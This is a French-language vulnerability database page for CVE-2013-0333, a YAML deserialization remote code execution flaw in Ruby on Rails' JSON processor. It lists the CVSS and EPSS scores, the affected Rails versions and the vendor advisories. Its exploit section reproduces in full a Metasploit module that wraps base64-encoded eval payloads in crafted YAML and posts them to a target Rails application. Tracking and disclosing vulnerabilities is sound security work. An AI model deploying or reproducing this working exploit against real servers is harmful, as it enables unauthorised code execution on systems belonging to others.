CVE-2013-0333 : Détail

CVE-2013-0333

97.14%V3
Network
2013-01-30
10h00 +00:00
2017-12-08
09h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24434

Date de publication : 2013-01-28 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the JSON request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'jjarmoc', # Initial module based on cve-2013-0156, testing help 'egypt', # Module 'lian', # Identified the RouteSet::NamedRouteCollection vector ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0333'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 28 2013', 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails2 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml.gsub(':', '\u003a') end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails3 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml.gsub(':', '\u003a') end def build_request(v) case v when 2; build_yaml_rails2 when 3; build_yaml_rails3 end end # # Send the actual request # def exploit [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'headers' => { 'X-HTTP-Method-Override' => 'get' }, 'data' => build_request(ver) }, 25) handler end end end

Products Mentioned

Configuraton 0

Rubyonrails>>Rails >> Version 2.3.0

Rubyonrails>>Rails >> Version 2.3.1

Rubyonrails>>Rails >> Version 2.3.2

Rubyonrails>>Rails >> Version 2.3.3

Rubyonrails>>Rails >> Version 2.3.4

Rubyonrails>>Rails >> Version 2.3.9

Rubyonrails>>Rails >> Version 2.3.10

Rubyonrails>>Rails >> Version 2.3.11

Rubyonrails>>Rails >> Version 2.3.12

Rubyonrails>>Rails >> Version 2.3.13

Rubyonrails>>Rails >> Version 2.3.14

Rubyonrails>>Rails >> Version 2.3.15

Configuraton 0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.0

Rubyonrails>>Rails >> Version 3.0.1

Rubyonrails>>Rails >> Version 3.0.1

Rubyonrails>>Rails >> Version 3.0.2

Rubyonrails>>Rails >> Version 3.0.2

Rubyonrails>>Rails >> Version 3.0.3

Rubyonrails>>Rails >> Version 3.0.4

Rubyonrails>>Rails >> Version 3.0.5

Rubyonrails>>Rails >> Version 3.0.5

Rubyonrails>>Rails >> Version 3.0.6

Rubyonrails>>Rails >> Version 3.0.6

Rubyonrails>>Rails >> Version 3.0.6

Rubyonrails>>Rails >> Version 3.0.7

Rubyonrails>>Rails >> Version 3.0.7

Rubyonrails>>Rails >> Version 3.0.7

Rubyonrails>>Rails >> Version 3.0.8

Rubyonrails>>Rails >> Version 3.0.8

Rubyonrails>>Rails >> Version 3.0.8

Rubyonrails>>Rails >> Version 3.0.8

Rubyonrails>>Rails >> Version 3.0.8

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.9

Rubyonrails>>Rails >> Version 3.0.10

Rubyonrails>>Rails >> Version 3.0.10

Rubyonrails>>Rails >> Version 3.0.11

Rubyonrails>>Rails >> Version 3.0.12

Rubyonrails>>Rails >> Version 3.0.12

Rubyonrails>>Rails >> Version 3.0.13

Rubyonrails>>Rails >> Version 3.0.13

Rubyonrails>>Rails >> Version 3.0.14

Rubyonrails>>Rails >> Version 3.0.16

Rubyonrails>>Rails >> Version 3.0.17

Rubyonrails>>Rails >> Version 3.0.18

Rubyonrails>>Rails >> Version 3.0.19

Rubyonrails>>Ruby_on_rails >> Version 3.0.4

Références

http://www.kb.cert.org/vuls/id/628463
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.debian.org/security/2013/dsa-2613
Tags : vendor-advisory, x_refsource_DEBIAN
http://support.apple.com/kb/HT5784
Tags : x_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2013-0201.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2013-0202.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2013-0203.html
Tags : vendor-advisory, x_refsource_REDHAT